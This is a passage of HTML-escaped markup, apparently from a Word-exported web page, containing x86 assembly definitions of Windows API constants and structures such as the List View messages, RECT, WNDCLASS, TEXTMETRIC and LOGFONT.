1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OFN_SHAREWARN&lt;span style=""&gt;           &lt;/span&gt;equ 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;List View Control&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETITEM&lt;span style=""&gt;     &lt;/span&gt;equ LVM_FIRST + 5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETITEMW&lt;span style=""&gt;    &lt;/span&gt;equ LVM_FIRST + 75&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_SETITEM&lt;span style=""&gt;     &lt;/span&gt;equ LVM_FIRST + 6&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_SETITEMW&lt;span style=""&gt;    &lt;/span&gt;equ LVM_FIRST + 76&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_INSERTITEM&lt;span style=""&gt;  &lt;/span&gt;equ LVM_FIRST + 7&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_INSERTITEMW equ LVM_FIRST + 77&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_DELETEITEM&lt;span style=""&gt;  &lt;/span&gt;equ LVM_FIRST + 8&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_DELETEALLITEMS&lt;span style=""&gt;              &lt;/span&gt;equ LVM_FIRST + 9&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETCALLBACKMASK&lt;span style=""&gt;             &lt;/span&gt;equ LVM_FIRST + 10&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_FIRST&lt;span style=""&gt;        &lt;/span&gt;equ 1000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_SETCALLBACKMASK&lt;span style=""&gt;             &lt;/span&gt;equ LVM_FIRST + 11&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETITEMRECT equ LVM_FIRST + 14&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_SETITEMPOSITION&lt;span style=""&gt;             &lt;/span&gt;equ LVM_FIRST + 15&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETITEMPOSITION&lt;span style=""&gt;             &lt;/span&gt;equ LVM_FIRST + 16&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETSTRINGWIDTH&lt;span style=""&gt;              &lt;/span&gt;equ LVM_FIRST + 17&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETSTRINGWIDTHW&lt;span style=""&gt;             &lt;/span&gt;equ LVM_FIRST + 87&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCF_FMT&lt;span style=""&gt;        &lt;/span&gt;equ 0001h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCF_WIDTH&lt;span style=""&gt;      &lt;/span&gt;equ 0002h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCF_TEXT&lt;span style=""&gt;       &lt;/span&gt;equ 0004h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCF_SUBITEM&lt;span style=""&gt;    &lt;/span&gt;equ 0008h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCFMT_LEFT&lt;span style=""&gt;     &lt;/span&gt;equ 0000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCFMT_RIGHT&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;equ 0001h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCFMT_CENTER&lt;span style=""&gt;   &lt;/span&gt;equ 0002h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVCFMT_JUSTIFYMASK&lt;span style=""&gt;              &lt;/span&gt;equ 0003h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETCOLUMN&lt;span style=""&gt;   &lt;/span&gt;equ LVM_FIRST + 25&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETCOLUMNW&lt;span style=""&gt;  &lt;/span&gt;equ LVM_FIRST + 95&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_SETCOLUMN&lt;span style=""&gt;   &lt;/span&gt;equ LVM_FIRST + 26&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_SETCOLUMNW&lt;span style=""&gt;  &lt;/span&gt;equ LVM_FIRST + 96&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_INSERTCOLUMN&lt;span style=""&gt;                &lt;/span&gt;equ LVM_FIRST + 27&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_INSERTCOLUMNW&lt;span style=""&gt;               &lt;/span&gt;equ LVM_FIRST + 97&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_DELETECOLUMN&lt;span style=""&gt;                &lt;/span&gt;equ LVM_FIRST + 28&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVM_GETCOLUMNWIDTH&lt;span style=""&gt;              &lt;/span&gt;equ LVM_FIRST + 29&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVIF_TEXT&lt;span style=""&gt;       &lt;/span&gt;equ 0001h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVIF_IMAGE&lt;span style=""&gt;      &lt;/span&gt;equ 0002h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVIF_PARAM&lt;span style=""&gt;      &lt;/span&gt;equ 0004h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LVIF_STATE&lt;span style=""&gt;      &lt;/span&gt;equ 0008h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_ITEM STRUC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_imask&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_iItem&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_iSubItem&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_state&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_stateMask&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_pszText&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_cchTextMax&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_iImage&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_lParam&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvi_iIndent DWORD&lt;span style=""&gt;        &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_ITEM ENDS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_FINDINFO STRUC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvfi_flags&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvfi_psz&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvfi_lParam&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvfi_pt&lt;span style=""&gt;  &lt;/span&gt;QWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvfi_vkDirection&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_FINDINFO ENDS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_HITTESTINFO STRUC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvht_pt&lt;span style=""&gt;  &lt;/span&gt;QWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvht_flags&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvht_iItem&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_HITTESTINFO ENDS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_COLUMN STRUC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvc_imask&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvc_fmt&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvc_lx&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvc_pszText&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvc_cchTextMax&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;lvc_iSubItem&lt;span style=""&gt;  &lt;/span&gt;DWORD&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LV_COLUMN ENDS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;Rectangle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RECT&lt;span style=""&gt;    &lt;/span&gt;struc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rcLeft&lt;span style=""&gt;          &lt;/span&gt;dd&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rcTop&lt;span style=""&gt;           &lt;/span&gt;dd&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rcRight&lt;span style=""&gt;         &lt;/span&gt;dd&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rcBottom&lt;span style=""&gt;        &lt;/span&gt;dd&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RECT&lt;span style=""&gt;    &lt;/span&gt;ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;Window Class structure&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;*******************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WNDCLASS struc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsStyle&lt;span style=""&gt;        &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;span style=""&gt;       &lt;/span&gt;; class style&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsLpfnWndProc&lt;span style=""&gt;  &lt;/span&gt;dd&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsCbClsExtra&lt;span style=""&gt;   &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsCbWndExtra&lt;span style=""&gt;   &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsHInstance&lt;span style=""&gt;    &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;span style=""&gt;       &lt;/span&gt;; instance handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsHIcon&lt;span style=""&gt;        &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;span style=""&gt;       &lt;/span&gt;; class icon handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsHCursor&lt;span style=""&gt;      &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;span style=""&gt;       &lt;/span&gt;; class cursor handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsHbrBackground dw&lt;span style=""&gt;     &lt;/span&gt;?&lt;span style=""&gt;       &lt;/span&gt;; class background brush&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsLpszMenuName dd&lt;span style=""&gt;      &lt;/span&gt;?&lt;span style=""&gt;       &lt;/span&gt;; menu name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;clsLpszClassName dd&lt;span style=""&gt;     &lt;/span&gt;?&lt;span style=""&gt;       &lt;/span&gt;; far ptr to class name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WNDCLASS ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IFNDEF NOTEXT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TEXTMETRIC struc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmHeight&lt;span style=""&gt;        &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmAscent&lt;span style=""&gt;        &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmDescent&lt;span style=""&gt;       &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmIntLeading&lt;span style=""&gt;    &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmExtLeading&lt;span style=""&gt;    &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmAveCharWidth&lt;span style=""&gt;  &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmMaxCharWidth&lt;span style=""&gt;  &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmWeight&lt;span style=""&gt;        &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmItalic&lt;span style=""&gt;        &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmUnderlined&lt;span style=""&gt;    &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmStruckOut&lt;span style=""&gt;     &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmFirstChar&lt;span style=""&gt;     &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmLastChar&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmDefaultChar&lt;span style=""&gt;   &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmBreakChar&lt;span style=""&gt;     &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmPitch&lt;span style=""&gt;         &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmCharSet&lt;span style=""&gt;       &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmOverhang&lt;span style=""&gt;      &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmAspectX&lt;span style=""&gt;       &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;tmAspectY&lt;span style=""&gt;       &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TEXTMETRIC ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LF_FACESIZE&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;EQU&lt;span style=""&gt;     &lt;/span&gt;32&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LOGFONT struc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfHeight&lt;span style=""&gt;          &lt;/span&gt;dw&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfWidth&lt;span style=""&gt;           &lt;/span&gt;dw&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfEscapement&lt;span style=""&gt;      &lt;/span&gt;dw&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfOrientation&lt;span style=""&gt;     &lt;/span&gt;dw&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfWeight&lt;span style=""&gt;          &lt;/span&gt;dw&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfItalic&lt;span style=""&gt;          &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfUnderline&lt;span style=""&gt;       &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfStrikeOut&lt;span style=""&gt;       &lt;/span&gt;db&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfCharSet&lt;span style=""&gt;         &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfOutPrecision&lt;span style=""&gt;    &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfClipPrecision&lt;span style=""&gt;   &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfQuality&lt;span style=""&gt;         &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfPitchAndFamily&lt;span style=""&gt;  &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lfFaceName&lt;span style=""&gt;        &lt;/span&gt;db&lt;span style=""&gt;   &lt;/span&gt;LF_FACESIZE dup(?)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LOGFONT ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; 